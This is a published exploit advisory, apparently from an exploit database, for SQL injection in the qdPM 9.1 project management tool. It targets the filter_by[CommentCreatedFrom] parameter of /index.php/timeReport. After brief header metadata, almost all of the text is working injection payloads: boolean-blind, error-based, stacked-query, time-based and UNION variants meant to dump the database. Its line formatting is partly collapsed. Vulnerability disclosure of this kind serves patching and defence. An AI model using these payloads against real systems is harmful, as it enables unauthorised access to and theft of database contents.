# Exploit Title: qdPM 9.1 - 'filter_by' SQL Injection# Date: 2018-11-01# Exploit Author: Özkan Mustafa Akkuş (AkkuS)# Contact: https://pentest.com.tr# Vendor Homepage: http://qdpm.net# Software Link: http://qdpm.net/download-qdpm-free-project-management# Version: v9.1# Category: Webapps# Tested on: XAMPP for Linux 5.6.38-0# Software description:# Free project management tool for small team# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.# It is fully configurable. You can easy manage Projects, Tasks and People. Customers interact# using a Ticket System that is integrated into Task management.# Vulnerabilities:# The application accommodates 3 different vulnerabilities.# SQL Injection - Cross-Site Scripting and Denial of Service.# POC 1 : SQL Inection :# An attacker can gain access to all the database information using filter_by[CommentCreatedFrom]# and filter_by[5BCommentCreatedTo] parameters.# Parameter: filter_by[CommentCreatedFrom] and filter_by[5BCommentCreatedTo](POST)# Request URL: /index.php/timeReport#Type: boolean-based blind#Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause#Payload:
filter_by[CommentCreatedFrom]=2018-10-30") RLIKE (SELECT (CASE WHEN (7166=7166) THEN #0x323031382d31302d3330 ELSE 0x28 END)) AND ("votm"="votm&filter_by[CommentCreatedTo]=2018-10-17#Type: error-based#Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)#Payload:
filter_by[CommentCreatedFrom]=2018-10-30") AND EXTRACTVALUE(2944,CONCAT(0x5c,0x716a766b71,(SELECT #(ELT(2944=2944,1))),0x7178717871)) AND ("ilfY"="ilfY&filter_by[CommentCreatedTo]=2018-10-17#Type: stacked queries#Title: MySQL > 5.0.11 stacked queries (comment)#Payload:
filter_by[CommentCreatedFrom]=2018-10-30");SELECT SLEEP(5)#&filter_by[CommentCreatedTo]=2018-10-17#Type: AND/OR time-based blind#Title: MySQL <= 5.0.11 AND time-based blind (heavy query)#Payload:
filter_by[CommentCreatedFrom]=2018-10-30") AND 2173=BENCHMARK(5000000,MD5(0x7652785a)) AND #("PRig"="PRig&filter_by[CommentCreatedTo]=2018-10-17#Type: UNION query#Title: Generic UNION query (NULL) - 40 columns#Payload:
filter_by[CommentCreatedFrom]=2018-10-30") UNION ALL SELECT #33,33,33,33,33,33,33,33,33,33,CONCAT(0x716a766b71,0x474b474f65666b437365466773655373776743495a75536670676f41445249514775775a6f4d6a63,0x7178717871),#33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33-- #pqmn&filter_by[CommentCreatedTo]=2018-10-17
